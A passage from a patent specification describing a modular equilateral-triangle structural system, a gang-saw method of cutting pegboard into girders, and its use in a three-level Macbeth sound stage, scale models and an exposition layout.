Similarly, in the construction of tetrahedron 32, first plane MNO, second plane NSV, and third plane OVP comprise the surfaces of tetrahedron 32 shown in FIG. 4-b. Said three planes are identical to base NVO. Therefore any structural element connected to any said mosaic within the solid comprising tetrahedron 32, similarly may be connected to the corresponding locations within the mosaic comprising each of the said surfaces of tetrahedron 32.
It is apparent that tetrahedron 32 may be expanded to any order of magnitude, to comprise similar planes within its solid, and similar planes comprising its respective surfaces, with each respective mosaic of said planes and surfaces characterized by the same features as tetrahedron 32, supra.
Similarly, each surface of tetrahedron 32 is identical to its base NVO. Therefore tetrahedron 32 selectively may be rotated to establish any surface as its base, with its respective planes within said solid, and respective surfaces, characterized by the same features as tetrahedron 32, supra.
Therefore any plurality of tetrahedrons with common surfaces are characterized by the same features of tetrahedron 32, supra.
It is apparent that said features depend upon the equilateral triangle, in each plane, in each solid, and in its respective mosaic, whereby each included angle comprises 60 degrees, or multiples thereof.
Therefore tetrahedron 32, expanded to any order of magnitude, comprises said planes within the solid, and said surfaces, each with mosaics characterized by the nine efficiencies which characterize the mosaic shown and described in FIG. 1-e.
Embodiment with Simplicity in Method of Manufacture--Example
FIG. 5 shows an embodiment of a manufacturing method for the structural elements shown in FIG. 1. The means in FIG. 5 comprise pegboard 33, saw table 34 movable by usual means (not shown) at a 90 degree angle to the arbor of gang saw 36, rotary gang saw 36 with its respective blades a thru m, and locating means 35.
FIG. 5-a shows a vertical view of pegboard 33, resting horizontally on saw table 34, and located thereon by locating means 35 comprising its pins a, b, c, and d shown; with saw table 34 and pegboard 33 located thereon, movable together horizontally in relation to gang saw 36.
FIG. 5-b comprises a horizontal view of the structure shown in FIG. 5-a. Pegboard 33, in this embodiment, comprises a laminated pegboard 3/8" thick, mounted to be cut with its grain (if any) lengthwise in relation to rotary gang saw 36, with the one-quarter inch holes of pegboard 33 located in rows, at equal increments of one inch lengthwise and width wise of said pegboard. Pegboard 33 comprises twelve strips of holes shown, seven holes in each strip. Dotted lines in strip 33-N and row 33-g represent the optional enlargement of pegboard 33 to any selected dimensions. All holes in this embodiment are shown located at the standard one inch increment between the centers of adjacent holes thruout the entire length and width of said pegboard.
In FIG. 5-b, gang saw 36 comprises its thirteen blades shown and designated 36-a thru 36-m respectively, each said blade 1/8" thick. Each said blade is separated from its next adjacent blade by a spacer 7/8" wide mounted with said blade on a rotary saw arbor, whereby the combined dimensions of blade thickness plus spacer width (1/8" plus 7/8") comprises the standard increment of one inch shown separating the respective strips of holes designated 33-1 thru 33-N.
Locating means 35 comprises four vertical, tapered pins shown, each pin adapted to fit snugly in a 1/4" hole. Pins 35-a and 35-b are shown engaging holes 33-1-a and 33-1-g of pegboard 33, and pins 35-c and 35-d are shown engaging holes 33-N-a and 33-N-g of pegboard 33. Therefore pegboard 33 is located on saw table 34 by locating means 35. When saw table 34 is moved horizontally toward saw 36, pegboard 33 contacts rotary blade 36-b at the midpoint between the strips 33-1 and 33-2, and contacts each other blade of saw 36 similarly at the mid-point between each respective strip of holes 33-2 thru 33-N. Blades 36-a and 36-m at opposite ends of gang saw 36, each trims its respective strip to a width of 7/8".
Therefore, the removal of 1/8" of material by each respective blade of gang saw 36, cuts pegboard 33 into twelve strips, each said strip 7/8" wide by 3/8" thick and comprising seven holes spaced equally at one inch increments, with each said hole centered on the 7/8" width of its respective strip, or "girder", as shown in FIG. 1.
It is apparent that said cutting may be achieved either by "conventional" or by "climb" cutting, according to associated means well known in the art. It is also apparent that pegboard 33 mounted on saw table 34 selectively may move horizontally in relation to saw 36; or, alternatively, that saw 36 may move horizontally in relation to a fixed saw table 34, by means, not shown, well known in the art. In FIG. 5-a, saw table 34 is shown moving horizontally toward saw 36, with saw 36 rotating counterclockwise and mounted upon a usual arbor; with said arbor's supporting means and driving motor, not shown.
Many alternative embodiments are apparent, within the spirit of the invention.
For example, pegboard 33 may comprise a plurality of similar sheets of pegboard (e.g., each said sheet 4' by 8' by 1/8" thick) with the associated structure in FIG. 5 adapted to cut the plurality of sheets simultaneously.
As a further example, rotary saw 36 may comprise its single gang 36-a, adapted to cut a single girder at one time, with pegboard 33 located at pins 35-a and 35-b. After said single girder is cut, pegboard 33 then is moved on saw table 34, whereupon holes 33-2-a and 33-2-g are next engaged by locating pins 35-a and 35-b respectively, to prevent cumulative error in the centering of each strip of holes in each strip 33-1 thru 33-N, respectively.
As further examples, pegboard 33 may comprise holes separated by an increment other than one inch, whereby said other increment is selected as the minimum increment for the structural elements shown in FIG. 1. Pegboard 33 may comprise, in the alternative, any materials adapted to the uses of this invention, including plastic, aluminum or other metals, wood, plywood, acoustical siding, and any other suitable material. As further examples, material other than pegboard comprises alternatives. If, as in FIG. 1, holes comprise the locations, said holes may be gang-drilled by multiple drills, gang-punched by multiple punches, pre-formed by injection molding (for example, of plastic), or manufactured by any method well known in the art.
Therefore, manufacturing methods are shown in FIG. 5 to divide an entire sheet of pegboard into girders by a single pass thru rotary saw 36.
Therefore FIGS. 1 thru 5 show an embodiment with the nine efficiencies, assuming a standardized design therein.
1. Each location of an original structural element therein is fabricated in increments of a single standard measurement, one inch, from its adjacent location.
2. Each additional structural element is characterized by the inherent efficiency in duplicating said original structural element.
3. FIG. 5 shows the resultant efficiency in mass production of many similar structural elements.
4. Each structural element of suitable length in FIG. 1 is interchangeable with all other structural elements.
5. Any structural subcomponent, for example girder 9, selectively is located anywhere in the mosaic of FIG. 1 without construction of a location.
6. Each two-dimensional structure (plane) in FIGS. 1 and 2, and solid in FIGS. 3 and 4, is characterized respectively by the rigidity of its component triangles.
7. Each star, for example star I in FIG. 1, selectively is folded after the disengagement of the corresponding vertices in each star.
8. Each subcomponent, for example triangle I'-ACE, selectively is relocated at any corresponding locations in tetrahedron 32 (a solid) in FIG. 4.
9. Any girder of suitable length, for example girder I-FB, selectively is re-applied in any other use, for example to comprise girder I'-AE, in tetrahedron 32 in FIG. 4.
LIVE SOUND STAGES AND MODEL STRUCTURES WITH THE NINE EFFICIENCIES Performing Level (Middle Structure)
FIGS. 1 thru 5 have shown the construction of structures characterized by the nine efficiencies, and other features of this invention.
FIG. 6 shows an example of such a structure, comprising a live sound stage for the drama "Macbeth" by William Shakespeare, in a horizontal plan of the performing level (middle plane). The scale of said plan is 1/32" per foot.
Said live sound stage achieves the nine efficiencies: in construction of dramatic settings, in camera locations, and in dramatic staging for film and television production, or for a live production thru a proscenium arch to an audience.
FIG. 6 shows star VII, similar in pattern to star I in FIG. 1-e.
In FIG. 6, star VII comprises six structural elements, 1 thru 6, each said element serving a dual purpose.
Its first purpose in FIG. 6 is accomplished by structural elements comprising girders 192' in length, comprising the structural foundation for a parallel plane, in the mann ner shown in detail in FIG. 3.
Its second purpose is to construct said parallel plane, comprising a floor for said live sound stage, said floor characterized by a mosaic of locations, as shown in detail in star I, in FIG. 1-e, and described therein. Said floor comprises the base with locations for construction of a dramatic stage setting. Said detail shown in FIGS. 3 and 1-e, is not shown in FIG. 6.
Each of said two purposes of star VII now is discussed in turn.
In FIG. 6, said first purpose of star VII, to construct the foundation for a parallel plane, is accomplished as follows. Structural element 1 of star VII comprises thirteen locations separated by respective increments of sixteen feet each, said element 1 therefore comprising a girder, one hundred and ninety-two feet between its locations 1-a and 1-m. Each said location comprises a hole adapted to receive a rivet. As described heretofore, any said location selectively may be omitted for purposes of strength or economy. Similarly, any said location selectively may comprise a smaller hole, a grommet welded to said girder, a slotted grommet, a protrusion engaging a depression and adapted to connection by welding, or any other locating and connecting means well known in the art of construction. Alternatively, it is also apparent that said structural element may comprise a plurality of sub-elements, or subcomponents. The details of said rivet holes and alternative methods of connection, and other locating means, each adapted to its respective use herein, are not shown, being well known in the art of construction. Each structural element, 2 thru 6, is similar to said structural element 1.
In FIG. 6, said second purpose of star VII, to construct a parallel plane comprising a floor for said live sound stage, is accomplished as follows.
In FIG. 6, structural element 1 of star VII further comprises locations on said floor comprising said stage, with its adjacent locations separated by the standard increment shown herein, namely sixteen feet. Each said location comprises a hole 1/4" in diameter. It is shown in FIG. 1-f that said stage floor comprising structural element 1 in FIG. 6, is supported by structural element 3 at its location 3-m, and by structural element 6 at its location 6-e, with a spacer required to be added at location 2-a to support said structural element 1 in a level, horizontal position. It is apparent that additional floor girders parallel to said structural element 1, each said girder comprising its respective strip of said stage floor, similarly is connected at each pair of corresponding locations of structural elements 3 and 6, and is supported by them. The length of each said floor girder is selected to be limited by the vertical supports for said performing level. The detail of construction of said vertical supports is shown in FIG. 3. Said vertical supports are represented in FIG. 6 by the lines of long dashes, and comprise the hexagon therein which connects vertices A thru F, respectively.
Therefore said stage floor in FIG. 6 comprises a mosaic in relation to star VII similar to the mosaic in FIG. 1 in relation to star I. Said mosaic in FIG. 6 is shown, in the segment enclosed by vertices A, B, and C, by each intersection of the dotted lines.
The following system of notation designates each location in said mosaic, in FIG. 6.
In star VII, each structural element, 1 thru 6, comprises its thirteen locations designated a thru m, respectively. It is apparent that each location in said mosaic which corresponds to a location in a structural element, is designated by its respective symbol. For example, in FIG. 6, the location of bed 47 is designated as 5-b.
For each other location in said mosaic, the symbol "*" represents the exact point to be located. A suitable structural element is selected. An equilateral triangle is constructed with the location "*" at its apex, and with its base comprising the distance between two locations on said selected structural element. The symbols for the three vertices of said triangle clockwise, in sequence, then define said location within the mosaic. For example, the location of trapdoor 45 is "4-f*4-g".
It is apparent that the construction of said mosaic may be desirable in a structure in the absence of structural elements 1 thru 6. Many alternative methods may be used to construct structural elements comprising said mosaic. Structural element 1 may comprise a 3/4" flexible steel rule 192' long, with 1/4" holes at increments of sixteen feet. In the alternative, if the floor is solid concrete, each location in said mosaic may comprise an expansion shield inserted into a larger hole, adapted to receive the threaded end of a 1/4" pin to designate said location. Said pin may be adjustable horizontally in relation to its thread, and adapted to be secured in a fixed location, for accuracy. The degree of accuracy required, determines the selection of its respective method.
In FIG. 6, segment AB of cyclorama 49 comprises a segment of a usual vertical cyclorama in a stage set, connected by adjustable structural elements to the mosaic of locations in its associated vertical support. The method of construction of said vertical support is shown by vertical support 16 in FIG. 3-b. The method of connection between said segment of cyclorama 49, and its associated vertical support, is shown in FIG. 11-a by first and second adjustable elements, designated 108 and 109, respectively. Each additional segment of cyclorama 49 is connected similarly, to its respective vertical support spanning vertices B and C, C and D, D and E, E and F, and F and A. As an alternative, a similar cyclorama may be supported within the hexagon constructed by said vertical supports, in the manner shown hereafter in FIGS. 11, 12 and 13.
In FIG. 6, viewing said sound stage from each vertex successively, said stage comprises the following stage settings.
From vertex A, said setting comprises gates 37 of Macbeth's castle, at locations 1-b and 3-l, for Act II, scene 3.
At vertex B, the terrace leads to said vertex from the dining hall and grand staircase of Macbeth's castle. Said terrace comprises three arches supporting the roof over the terrace, each arch supported by a vertical column at each end. Said arches comprise first arch 38-a, at locations 3-f*3-e and 4-g*4-f; second arch 38-b, at locations 5-h*5-f and 5-j*5-f; and third arch 38-c, at locations 5-j and 5-l*5-j.
The viewpoint at vertex C shows the start of the manor slope from the terrace to the sea below, said manor slope 40 starting at the line of dashes at locations 1-h*1-g; 6-i*6-g; and 2-j*2-h. Said sea below, shown in the model in FIG. 8, with its adjacent rocks, and precipice leading to the wall of Macbeth's castle, is not constructed in the stage set on the performing level shown in FIG. 6. Lines of dashes in FIG. 6 represent the seascape in FIG. 8, as follows. The position of the sea, here designated 39, is shown at locations 6-c*6-e, 2-c*2-e, and 4-c. The positions of the rocks, here designated 41-b and 41-c, are shown at locations 4-c*4-b, and 4-c*4-d, respectively. The position of the precipice 41-a beneath said wall of Macbeth's castle, is represented by the segment of said wall designated 42-b, at locations 2-i thru 2-l. This completes the viewpoint from vertices C and D.
The viewpoint from vertex E comprises the following. The exterior wall of Macbeth's castle comprises its first segment 42-a, extending from location 3-b*3-c to location 2-l; and its second segment 42-b, extending from location 2-l to location 2-i. Arched windows penetrating said wall comprise first window 43-a, at locations 3-b and 3-b*3-c; second window 43-b, at locations 2-k thru 2-j; and third window 43-c, at locations 2-j thru 2-i.
Within said castle walls 43, the following stage settings are shown. Banquet table 44, for Act III. scene 4, is shown at locations 3-c*3-e, and 4-j. Trap door 45 is shown at location 4-f*4-g, for the appearance of Banquo'ghost. Trap door 45 leads to the witches' cave below, not shown in this FIG. 6. In FIG. 8 is shown the entrance to said cave in a model of said precipice, comprising vertical flat 61; and a model of the witches' cauldron, 62, within said cave.
The viewpoint from vertex F comprises Lady Macbeth's boudoir comprising bed 47 at location 5-b; and royal staircase 48 at location 4-h*4-i, leading upward from terrace 38 (apparently leading to Lady Macbeth's boudoir, said boudoir actually set on stage at the performing level in FIG. 6).
Therefore the sound stage shown at its performing level in FIG. 6 is adapted to the performance of an entire dramatic production comprising five acts, for recording by film or TV cameras. It is apparent that said sound stage may be adapted for a dramatic production before a live audience, for example by addition of a proscenium arch between said sound stage and said audience, said proscenium arch spanning vertices D and B.
In FIG. 6, structural elements 1 thru 6 comprising star VII, construct a mosaic similar to the mosaic in star I in FIG. 1-e. Therefore the nine efficiencies shown and described at FIG. 1-e, are achieved in star VII in FIG. 6.
Similarly, the mosaic of triangle MNO shown in FIG. 1-e may be constructed in the following manner, in any triangle shown in star VII in FIG. 6, said triangle thus comprising a subcomponent of star VII. For example, in star VII, at vertex A, its location 1-a is separated by the standard increment of sixteen feet (or 192 inches) from its adjacent location 1-b. Triangle MNO in FIG. 1-e may be located in FIG. 6 by the three locations 1-a, 1-b, and 3-l, by increasing the minimum increment from one inch in FIG. 1, to sixteen inches in FIG. 6, in triangle 1-a, 1-b, 3-l. Said triangle therefore comprises 192 inches on each side of the equilateral triangle, and otherwise corresponds to triangle MNO in FIG. 1-e.
The nine efficiencies which characterize the mosaic of triangle MNO in FIG. 1-e, therefore similarly characterize the mosaic of triangle 1-a, 1-b, 3-l, in FIG. 6.
Therefore, in scene 3 of Act II at the gates 37 of FIG. 6, each stage property or "prop", each stage setting, each camera position, and each other location in triangle 1-a, 1-b, 3-l, at the gates 37 in said scene 3, may be located in said triangle in the same manner as heretofore described in star VII. Each said location in the mosaic of said triangle, therefore is characterized by the nine efficiencies, similarly to triangle MNO in FIG. 1-e.
In FIG. 6, a mosaic similar to the mosaic described in triangle 1-a, 1-b, 3-l, may be constructed by any similar triangle in the mosaic of star VII in FIG. 6. Each additional said mosaic similarly is characterized by the nine efficiencies. It is apparent that each said triangle may be constructed by any suitable, alternative method described in this specification.
Each said location in the mosaic comprising star VII in FIG. 6, may comprise the location for a television camera or motion picture camera. FIG. 10 shows a support for a camera, said camera designated therein camera 103. Camera 103 alternatively may comprise any said television camera, or motion picture camera.
FIG. 10 therefore shows a structure, or support, for locating the angle of the position of a television camera or motion picture camera in any selected mosaic of locations in a horizontal plane, comprising 360 degrees circumferentially, and in any selected vertical or inclined plane, said plane similarly comprising 360 degrees circumferentially. The detail of said structure is shown and described hereafter at FIG. 10.
FIG. 8 shows a structure comprising a model, including a model for the performing level of the sound stage shown in FIG. 6, and other similar levels.
Similarly, the structure shown in FIG. 8 alternatively may comprise a model of said support for a television or motion picture camera, said support shown in FIG. 10, and a model of said camera.
Therefore, a television or motion picture camera, or a stereo camera, may be located at any selected location in the mosaic of star VII comprising the sound stage shown in FIG. 6, the similar overhead bridges for lights and special effects shown in FIG. 7, or in any model shown in FIG. 8. The angle of any said camera selectively may be positioned in any selected mosaic, horizontally, vertically, or in any inclined plane. Each said location in any said mosaic is characterized by the nine efficiencies, similarly to the mosaic in FIG. 1-a.
Therefore said live sound stage, and said models, achieve the nine efficiencies, in construction of dramatic settings, in camera locations and angles, and in dramatic staging for film and television production, or for a live production thru a proscenium arch to an audience.
Overhead Light Bridges and Special Effects (Upper Structure)
FIG. 7 shows star VIII comprising a horizontal view of overhead light bridges and special effects, the upper level parallel to the live sound stage for Macbeth, at the performing level, shown in FIG. 6.
In FIG. 3, three parallel planes were shown, comprising stars II, III, and IV, respectively, supported in parallel by six vertical supports, 16 thru 21, respectively.
The live sound stage for Macbeth comprises three parallel planes corresponding to said planes in FIG. 3. FIG. 6 shows star VII, comprising the performing level for said sound stage, at the middle level corresponding to star III in FIG. 3. FIG. 7 shows star VIII, comprising the overhead light bridges and special effects for said performing level, and corresponding to star II in FIG. 3. FIG. 8 shows star IX, comprising a model of two levels of said sound stage, first level comprising a model of a seascape below said performing level and corresponding to star IV in FIG. 3, and second level comprising a model of said performing level shown in FIG. 6.
Said parallel planes in FIGS. 6, 7, and 8, comprising stars VII, VIII, and IX respectively, are supported by vertical supports not shown, corresponding to the said six vertical supports 16 thru 21, shown in FIG. 3. The detail of construction of vertical support 16 is shown in FIG. 3-b. The six said vertical supports in each of FIGS. 6, 7, and 8, are represented by lines of long dashes in each said Figure connecting its six respective vertices A, B, C, D, E, and F. In this embodiment, 90 degree angle irons correspond to connectors 14 and 14' in FIG. 3, as described in FIG. 2-e.
Therefore, in FIGS. 6, 7, and 8, each location in the mosaic of each of stars VII, VIII, and IX, is located by an exactly perpendicular line thru the corresponding locations of the mosaics of all said stars.
Therefore, in FIG. 7, showing the upper level of said sound stage comprising its overhead light bridges and special effects, certain important stage settings shown in FIGS. 6 and 8 on lower levels of said sound stage, are represented in FIG. 7 by lines of dashes at the corresponding locations of star VIII.
In FIG. 7, viewing said sound stage from each vertex successively, said overhead light bridges and special effects comprise the following.
Viewed from vertex A, a roll of scrim 50 comprises the following. Two short girders connect locations 5-c and 5-e respectively, to location 5-c*5-e, to construct a horizontal, equilateral triangle. Similarly, two short girders connect locations 5-i and 5-k respectively, to location 5-i*5-k. A girder the length of said roll of scrim connects said short girders, at said locations 5-c*5-e and 5-i*5-k, to star VIII at its locations 1-c and 3-k. Said roll of scrim therefore spans said locations 5-c*5-e and 5-i*5-k, said roll therefore adapted selectively to be lowered and raised in the scene at gates 37, in Act II, scene 3 of Macbeth. Gates 37 are represented by lines of dashes in FIG. 7, at its locations corresponding to the location of gates 37 in FIG. 6.
From the viewpoint of vertex B, in FIG. 7, background scenery 51 in a roll, spanning locations 5-k*5-l and 6-b*6-c, comprises the following, similar to corresponding components of scrim 50. Short girders connect each said location of roll 51 to its adjacent structural elements 5 and 6, respectively, each to construct its respective equilateral triangle, similarly to scrim 50. A girder the length of said roll of scenery secures said equilateral triangles to structural elements 5 and 6 of star VIII. Scenery 51 selectively is lowered and raised for the battle with Macduff in Act V, scene 6 of Macbeth. It is apparent, alternatively, that said scenery 51 may comprise a flat flown overhead in a fly above the performing level of said sound stage, in said locations of scenery 51. Royal staircase 48, and the arches of terrace 38, are represented by lines of dashes in FIG. 7, each at its respective locations corresponding to its locations in FIG. 6.
From the viewpoint of vertices C and D, fog machine 53 comprises the following. The following girders are connected to star VIII. The first girder extends from location 6-c*6-d to location 2-d*2-e, and is connected to star VIII at its locations 1-j and 2-d. The second girder extends from location 2-d*2-e to location 2-j*2-k, and is connected to star VIII at its locations 6-j and 3-d. Said first and second girders are connected at location 2-d*2-e. Said fog machine 53 emits said fog by a plurality of similar devices, shown at locations 6-c*6-d, 1-j, 2-d*2-c, 2-d*2-e, 2-f*2-g, 3-d, and 2-j*2-k. Therefore fog machine 53 is adapted to emit fog uniformly over seascape 58, shown in the model of the lower level shown in FIG. 8, and over rocks 60 similarly shown, said seascape and rocks represented by lines of dashes in FIG. 7 at locations corresponding to their respective locations in FIG. 8.
From the viewpoint of vertex E, light bridges 54 comprise the following. Light bridge 54-a comprises a girder extending from location 3-b*3-d to location 2-l, connected to star VIII at its locations 3-b and 2-l; and five amber spotlights, one said spotlight located at each of locations 3-b*3-d, 3-b*3-c, 3-b, 2-l, and 2-k, respectively. Light bridge 54-b comprises four blue spotlights, one said spotlight located at each of locations 2-j, 3-f, 3-g, and 3-h, respectively. Banquet table 44, and trap door 45 comprising an entrance to the witches's cave beneath, each are represented in FIG. 7 by lines of dashes at locations corresponding to its respective location in the performing level of said sound stage shown in FIG. 6. Each of the five amber spotlights comprising light bridge 54-a, are shown focused on banquet table 44. Each of the four blue spotlights comprising light bridge 54-b, are shown focused on trap door 45. Therefore light bridge 54 is adapted to light the banquet scene, and the appearance of Banquo's ghost from said trap door, in scene 4 of Act III of Macbeth.
Therefore overhead light bridges and special effects comprising scrim, scenery, fog machines, and light bridges, selectively may be located at any location in the mosaic of star VIII in FIG. 7, together with any similar production equipment such as cameras and sound booms. Each said location in said mosaic is characterized by the nine efficiencies, similarly to the mosaic in star VII, in FIG. 6, and the mosaics in the models shown in star IX, in FIG. 8.
Therefore the overhead light bridges and special effects of said live sound stage, and said models thereof, achieve the nine efficiencies in construction of dramatic settings, in camera locations and angles, and in dramatic staging for film and television production, or for a live theatre audience.
Model of Two Levels (Lower and Middle Structures)
FIG. 8 shows star IX comprising a horizontal view of a model of said live sound stage for Macbeth, comprising two levels connected by manor slope 59 which starts at the middle level comprising the performing level shown in FIG. 6; and which then slopes to the sea and rocks 60 shown in the model in FIG. 8, comprising a seascape at the lower level.
In FIG. 8, the model of said performing level is designated star IX-a, and the model of said seascape is designated star IX-b.
Said model in FIG. 8 is constructed on a scale of one-quarter inch to the foot. Star IX-a comprises a scale model of Macbeth's castle at the performing level of said sound stage, and shown in the live sound stage in FIG. 6. Star IX-b comprises a scale model of the seascape and rocks at the lower level of said sound stage, represented in FIG. 6 by lines of dashes at the corresponding locations of star VII. Manor slope 59 comprises a scale model of said manor slope, said slope starting downwards at the locations corresponding to the locations shown in FIG. 6 for the start of the manor slope 59.
The detail for the method of construction of the vertical supports for two parallel planes, is shown in FIG. 3. Stars IX-a and IX-b in FIG. 8 correspond to stars III and IV respectively, in FIG. 3. In FIG. 8, the six vertical supports, constructed similarly to the method shown in FIG. 3, and with larger dimensions corresponding to the larger parallel planes in FIG. 8, are represented by the lines of long dashes connecting vertices A, B, C, D, E, and F, respectively.
In FIG. 8, the model of manor slope 59 connects the middle level of the model, comprising star IX-a, with the lower level of the model, comprising star IX-b. Each diagonal of the model of manor slope 59 spans the distance from the upper end of said diagonal, at its respective starting point shown at manor slope 59 in star IX-a, to the lower end of said diagonal, at its respective point of termination in said model of a seascape, comprising sea 58 and rocks 60 in star IX-b. Each said diagonal of the model of manor slope 59, therefore corresponds to first diagonal 22 in FIG. 3-b. The segment of first diagonal 22 between its locations 22-c and 22-e spans the distance between stars III and IV in FIG. 3-b, and therefore corresponds to said diagonal girder in FIG. 8 spanning the distance between stars IX-a and IX-b. Therefore, the detail for the method of construction of the vertical supports for the model of manor slope 59, is shown in FIG. 3.
With the model in FIG. 8 constructed to a scale of 1/4" per foot, the length of each horizontal structural element in star IX-a is 48", said elements in the middle level comprising star IX-a being designated 1 thru 6. In FIG. 8, the lower level, comprising star IX-b, similarly is constructed by six structural elements designated 1 thru 6, each said element 48" in length, and comprising thirteen locations separated by a standard increment of 4". As an alternative in star IX-a, any structural element selectively may be limited in length to its horizontal length up to the point of intersection with a diagonal girder of the model of manor slope 59.
The ratio of the model to the drawing is 8 to 1. Therefore each structural element in FIG. 8 comprises a line on the drawing 6" in length.
In FIG. 8, it is apparent that a model of the overhead light bridges and special effects shown in FIG. 7, as an alternative may be constructed similarly to the model of the middle level and lower level of said sound stage shown in FIG. 8. Therefore in FIG. 8, each location in the model in the respective mosaic of each of the three parallel planes of said sound stage, is connected by a perpendicular line to the corresponding locations of the model in the mosaic of all said parallel planes.
In FIGS. 6 and 7, the respective parallel planes of said live sound stage are shown with a scale of 1/32" per foot. In FIG. 8, the scale of the model of said live sound stage is 1/4" per foot, and the ratio of the model to the drawing is eight to one. Therefore, in FIG. 8 the drawing shows the stage settings of the live sound stage corresponding to the models shown in FIG. 8, at a scale of 1/32" per foot (1/4" per foot multiplied by 1/8), similarly to FIGS. 6 and 7.
Therefore the model of said live sound stage shown in FIG. 8 is adapted for use in stage design, in process shots in filmmaking with special optical effects, and in planning and production of the drama, similarly to said live sound stage.
In FIG. 8, the model of said sound stage is viewed from each vertex successively, said model comprising the following stage settings.
At vertex A, the model of said sound stage comprises a segment of the plane comprising the middle level therein, and designated star IX-a. Each model of a live stage setting is constructed in FIG. 8 at a scale of 1/4" to the foot, similarly to the models of structural elements. Therefore the model 56 of the gates of Macbeth's castle, corresponds to gates 37 of said live stage, at the locations in the mosaic of star IX-a in FIG. 8 corresponding to the locations of gates 37 in the mosaic of star VII shown in FIG. 6, said locations designated similarly in star IX-a.
Similarly, the model of each stage setting in FIG. 8 is located in the mosaic of star IX at the same locations as the corresponding stage setting in the mosaics of stars VII and VIII in FIGS. 6 and 7, respectively, each location thereof designated similarly in star IX.
From the viewpoint of vertex B in FIG. 8, the model 57 of the three arches of the terrace, corresponds to the terrace 37 in FIG. 6.
From the viewpoint of vertices C and D in FIG. 8, the model 59 of the manor slope corresponds to the starting line of manor slope 40 in FIG. 6. In FIG. 8, said model of manor slope 59 descends from said model of the terrace of Macbeth's castle (on star IX-a, the model of the performing level), to the model 58 of the seascape with the model 60 of the rocks (on star IX-b, the lower level).
In FIG. 8, on star IX-b, the model 58 of the seascape, and model 60 of the rocks, correspond respectively to the seascape 39, and rocks 41-b and 41-c, represented in FIG. 6 by lines of dashes.
In FIG. 8, the model 61 of the precipice corresponds to the precipice 41-a represented in FIG. 6 by the segment of the wall of Macbeth's castle designated 42-b.
In FIG. 8, said model of the precipice 61 comprises a vertical flat (vertical view not shown) including the entrance to the witches' cave in the precipice beneath the exterior wall of Macbeth's castle. Directly behind said entrance, a model of witches' cauldron 62-b is located beneath the model 62-a of the trap door in the floor of the dining hall in Macbeth's castle. Said model of a precipice 61 rises vertically from the lower level comprising said model of a seascape in the horizontal plane of star IX-b, to the corresponding segment of the model 63 of the exterior walls of Macbeth's castle at the middle level comprising the horizontal plane of star IX-a.
In FIG. 8, from the viewpoint of vertex E, said middle level comprises the model of the performing level of said sound stage, the location of the castle of Macbeth. The model 63 of the exterior walls of Macbeth's castle with three windows, corresponds to exterior walls 42-a and 42-b, and to windows 43-a, 43-b, and 43-c, in FIG. 6.
Within said model of castle walls 63 in FIG. 8, the following models of stage settings are shown. The model 55 of the banquet table, corresponds to banquet table 44 in FIG. 6. In FIG. 8, the model 62-a of the trap door leading to the witches' cave below, corresponds to trap door 45 in FIG. 6.
In FIG. 8, from the viewpoint of vertex F, the model 65 of the bed in Lady Macbeth's boudoir corresponds to bed 47 in FIG. 6. In FIG. 8, the model 64 of the royal staircase leading upward from the model of the terrace 57, corresponds to the royal staircase 48 in FIG. 6.
In FIG. 8, the model is surrounded by the model 66 of a cyclorama, corresponding to cyclorama 49 in FIG. 6. In FIG. 8, said model of a cyclorama 66 extends vertically from a model of star VIII overhead shown in FIG. 7 (said model of star VIII not shown in FIG. 8), to the model of the lower level comprising star IX-b in FIG. 8.
Therefore, in FIG. 8, each location in the mosaic of the model of each of the levels of said live sound stage shown in FIGS. 6 and 7, corresponds to the respective location in the mosaic of all levels of said live sound stage.
Therefore the model shown in FIG. 8 is characterized by the nine efficiencies, in construction of models of dramatic settings, in models of camera locations and angles, and in models of dramatic staging for film and television production, or for a model of a live production for an audience.
LIVE STRUCTURES, WITH SCENIC BACKGROUNDS PHOTOGRAPHED FOR DISPLAY The Stage, with Example of Scene Photographed
FIG. 9 shows a horizontal view of star X comprising a stage with its stage settings shown in solid lines, with said stage settings comprising six live water fountains 75, each shown located at one of the vertices of star X designated G, H, I, J, K, and L, respectively, each said vertex 48' from the center of star X designated Z.
FIG. 9 is shown at a scale of 1/96" per foot. Each point of star X is adjacent to the corresponding segment of the hexagon in FIG. 9 comprising the exposition to be photographed for display, and shown by lines of dashes. Each structural element of star X, shown in solid lines, comprises 148' between its four locations, each adjacent location separated by a standard increment of 48'. Star X corresponds to star XIII in FIG. 11, and in FIG. 12.
The detail of methods for construction of a star comprising a stage are shown in FIGS. 1 thru 7.
In FIG. 9, the example of an exposition to be photographed comprises the New York World's Fair of 1964-1965. Star X, shown in solid lines, comprises the stage, with six fountains 75 shown as stage settings. Said stage is shown in the central position of said World's Fair, replacing the Unisphere, and shown in the position of said Unisphere.
In said exposition in FIG. 9, a line of dashes representing a distance of 384', comprising nine locations with each adjacent location separated by the standard increment of 48', is extended from center point Z, thru vertex G of star X to vertex G'. Seven locations thereon are designated as follows: location G'-a at vertex G', and successive locations G'-b, G'-c, G'-d, G'-e, G'-f, and G'-g, each separated by standard increments of 48'. The exposition to be photographed comprises the said seven locations between said stage and vertex G', comprising 288'.
At vertex G', the Avenue of Africa 70 comprises 192' between locations G'-a and G'-e.
A similar avenue is constructed at each of vertices H, I, J, K, and L of star X, thereby to construct vertices H', I', J', K', and L', each corresponding to vertex G'.
At vertex H', the Court of Nations 71 comprises locations H'-a thru H'-e, similar to Avenue of Africa 70.
At vertex I', the respective avenue comprises Avenue I' between locations I'-a thru I'-e.
At vertex J', the respective avenue comprises Avenue J' between locations J'-a thru J'-e.
At vertex K', the Court of States 67 comprises locations K'-a thru K'-e.
At vertex L', the Avenue of Americas 68 comprises locations L'-a thru L'-e.
In said exposition to be photographed, the Court of the President of the United States 73 comprises the following area. A hexagon is constructed between the respective locations "e" of each of the said avenues designated G', H', I', J', K', and L'. Said Court 73 comprises the area between said hexagon, and a hexagon constructed similarly between the respective locations "g" of each of said six avenues.
In said exposition to be photographed, a hexagon similar to Court 73 is constructed between the respective locations "a" of each of the said six avenues, said hexagon comprising the outer boundary of the area shown in FIG. 9 of said exposition to be photographed. The said area to be photographed, shown by lines of dashes in FIG. 9, comprises its respective pavilions and landscape of said expositions, and comprises the foreground of said exposition to be photographed for projection. The Avenue of the United Nations 72 comprises the following locations of said hexagon: the avenues from K'-a to L'-a, from L'-a to G'-a, and from G'-a to H'-a.
Therefore, said area to be photographed comprises a mosaic of locations, as follows. The avenues located from G'-a thru G'-g comprise its seven locations, designated G'-a thru G'-g, respectively. Each of the five similar avenues, each leading to vertices H', I', J', K', and L', respectively, each similarly comprises seven corresponding locations.
